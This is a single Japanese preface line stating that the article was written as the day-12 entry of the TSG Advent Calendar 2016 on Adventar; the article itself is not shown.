この記事は、TSG Advent Calendar 2016 - Adventarの12日目の記事として書かれました。